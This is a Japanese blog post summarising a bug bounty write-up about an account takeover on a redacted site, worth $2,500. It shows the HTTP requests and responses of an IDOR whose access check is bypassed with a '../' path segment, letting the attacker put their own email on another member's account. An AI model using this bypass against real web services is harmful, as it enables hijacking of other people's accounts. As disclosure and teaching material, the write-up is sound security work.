Shikata Ga Nai

Private? There is no such things.

Hello there, ('ω')ノ

 

2500ドル相当のアカウント乗っ取りを。

 

脆弱性

 アカウントの乗っ取り

 IDOR

 

記事:

 https://gonzxph.medium.com/account-takeover-worth-of-2500-e643661f94e9

 

今回は、簡単な IDOR バイパスでアカウントの乗っ取りにつながることで。

2,500 ドルを稼いだ方法を紹介することに。

高校を卒業した後、1 か月の休暇を取り、その空き時間を使って。

1 つのプログラムに集中してハンティングすることに。

プログラムの名前を開示することはできないため。

開示ポリシーに従って redacted.com と呼ぶことに。

 

redacted.com では、組織を作成し、その組織のメンバーを追加でき。

組織にメンバーを追加するには 2 つのオプションがあり。

まず、メールアドレスを使用して招待することで、メンバーを追加でき。

2 つ目は、メンバーの名前だけを電子メールなしで追加することで。

これはデモ ユーザと呼ばれ。

デモ ユーザを追加した後、それを編集し。

電子メール アドレスを追加して実際のユーザにすることができて。

下記で、メールアドレスを使用してメンバーを追加して。

 


下記で、名前を指定してメンバーを追加して。(デモ ユーザ)

 

 

デモユーザを作成した後、メールアドレスを追加して。

組織内の実際のユーザにしましたが、Burp Suite リクエスト履歴に移動すると。

このリクエストに気づき。

 

POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
  "email":"attacker@email.com"
}

 

<DemoUserID> を組織内の任意のメンバーの UserID に変更するとどうなるか。

 

HTTP/2 403 Forbidden
Date: Tue, 15 Nov 2022 14:44:25 GMT
Content-Type: application/json
Content-Length: 76
Pragma: no-cache
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff


{
  "message":"You don't have access to this.",
}

 

バイパスを何時間も探した後、機能するものを見つけ。

最終的にバイパスされたのはこのようなもので。

 

POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/

{
  "email":"attacker@email.com"
}

 

リクエストの応答:

HTTP/2 200 OK
Date: Tue, 15 Nov 2022 14:43:32 GMT
Content-Type: application/json
Content-Length: 2
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff

{
}

 

関連付けられた <UserID> の電子メール アドレスは。

攻撃者が制御する電子メールに変更されて。

 

Best regards, (^^ゞ